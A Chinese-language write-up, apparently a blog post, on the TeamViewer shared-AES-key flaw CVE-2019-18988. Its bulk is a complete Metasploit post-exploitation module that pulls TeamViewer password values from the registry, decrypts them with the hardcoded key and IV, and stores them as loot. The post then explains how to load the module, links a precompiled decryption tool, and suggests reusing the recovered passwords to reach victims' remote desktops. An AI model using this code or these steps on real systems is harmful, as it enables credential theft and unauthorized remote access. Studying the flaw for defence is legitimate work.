CVE-2019-18988
漏洞简介
TeamViewer是德国TeamViewer公司的一套用于远程控制、桌面共享和文件传输的软件。
TeamViewer Desktop 14.7.1965及之前版本中存在安全漏洞,该漏洞源于不同用户在安装过程中使用了相同的密钥。攻击者可利用该漏洞绕过远程登录访问控制。
通过14.7.1965的TeamViewer Desktop,可以绕过远程登录访问控制,因为同一密钥用于不同客户的安装。至少从v7.0.43148起,它就在所有安装中都使用了共享的AES密钥,并且在该产品的当前版本中至少将其用于OptionsPasswordAES。如果攻击者知道此密钥,则他们可以解密存储在TeamViewer注册表或配置文件中的保护信息。在v9.x之前的版本中,这使攻击者可以解密系统的无人参与访问密码(这允许远程登录系统以及浏览无头文件)。最新版本的OptionPasswordAES仍使用相同的密钥,但似乎已更改了无人参与访问密码的存储方式。
经过大佬的测试,15版本也存在漏洞。但是,目前最新的
15.4.4445
版本已经不存在此问题了。
漏洞发现
研读大佬博客文章
官方回应
虽然说了一堆,但是好像给忽略了,因为新版本-15版本的某几个系列仍存在此问题。最新的
15.4.4445
版本不存在问题了。
漏洞利用
msf模块
漏洞的发现者,为我们写好了msf中利用的模块,如下:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather TeamViewer Passwords',
'Description' => %q{ This module will find and decrypt stored TeamViewer keys },
'License' => MSF_LICENSE,
'Author' => [ 'Nic Losby <blurbdust[at]gmail.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def app_list
results = ""
keys = [
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
[ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
[ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
]
keys.each do |keyx86|
#parent key
p = keyx86[0,1].join
#child key
c = keyx86[1,1].join
key = nil
keychunk = registry_getvaldata(p, c)
key = keychunk.unpack("C*") if not keychunk.nil?
optpass = registry_getvaldata(p, "OptionsPasswordAES")
secpass = registry_getvaldata(p, "SecurityPasswordAES")
secpasse = registry_getvaldata(p, "SecurityPasswordExported")
servpass = registry_getvaldata(p, "ServerPasswordAES")
proxpass = registry_getvaldata(p, "ProxyPasswordAES")
license = registry_getvaldata(p, "LicenseKeyAES")
if not optpass.nil?
decvalue = decrypt(optpass)
if not decvalue.nil?
print_good("Found Options Password: #{decvalue}")
results << "Options:#{decvalue}\n"
end
end
if not secpass.nil?
decvalue = decrypt(secpass)
if not decvalue.nil?
print_good("Found Security Password: #{decvalue}")
results << "Security:#{decvalue}\n"
end
end
if not secpasse.nil?
decvalue = decrypt(secpasse)
if not decvalue.nil?
print_good("Found Security Password Exported: #{decvalue}")
results << "SecurityE:#{decvalue}\n"
end
end
if not servpass.nil?
decvalue = decrypt(servpass)
if not decvalue.nil?
print_good("Found Server Password: #{decvalue}")
results << "Server:#{decvalue}\n"
end
end
if not proxpass.nil?
decvalue = decrypt(proxpass)
if not decvalue.nil?
print_good("Found Proxy Password: #{decvalue}")
results << "Proxy:#{decvalue}\n"
end
end
if not license.nil?
decvalue = decrypt(license)
if not decvalue.nil?
print_good("Found License Key: #{decvalue}")
results << "License:#{decvalue}\n"
end
end
end
#Only save data to disk when there's something in the table
if not results.empty?
path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
print_good("Passwords stored in: #{path.to_s}")
end
end
def decrypt(encrypted_data)
password = ""
return password unless encrypted_data
password = ""
original_data = encrypted_data.dup
decoded = encrypted_data
#print_status(decoded)
key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
aes = OpenSSL::Cipher.new("AES-128-CBC")
begin
aes.decrypt
aes.key = key
aes.iv = iv
plaintext = aes.update(decoded)
password = Rex::Text.to_ascii(plaintext, 'utf-16le')
if plaintext.empty?
return nil
end
rescue OpenSSL::Cipher::CipherError => e
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
end
password
end
def run
print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
app_list
end
end
将代码放置此目录下:
/usr/share/metasploit-framework/modules/post/windows/escalate/
放置好之后,我们在msf中输入reload_all
加载模块
在我们获取目标机器shell,并发现其运行的有teamviewer时,便可以利用此模块进行密码获取(目前只能获取代理密码):
获取密码的位置:
DecryptTeamViewer
项目地址:https://github.com/V1V1/DecryptTeamViewer
利用vs进行编译:
在目标机器上进行运行:
从输出的结果来看,得到了tv的版本、tv的账号、代理的账号密码,以及其他的tv中设置的密码,其中option password
为:
如果大家不想编译,可以使用我编译好的。
链接:https://gitee.com/hackergu/tool/raw/master/DecryptTeamViewer.exe
总结
此漏洞利用并非百分百获取权限,一般情况下只能作为密码搜集的工具来使用。那在什么情况下可以登录tv并获取远程桌面呢?当tv中的代理密码或者option
密码或者其他密码与teamviewer账号密码重合时,我们才可以登录到远程桌面(这种密码重复使用的概率还是很高的!)。
Youtube上的演示视频:https://www.youtube.com/watch?v=L9U8uNyd-QA
文中如有错误,或有更好的利用思路,还请大佬指点!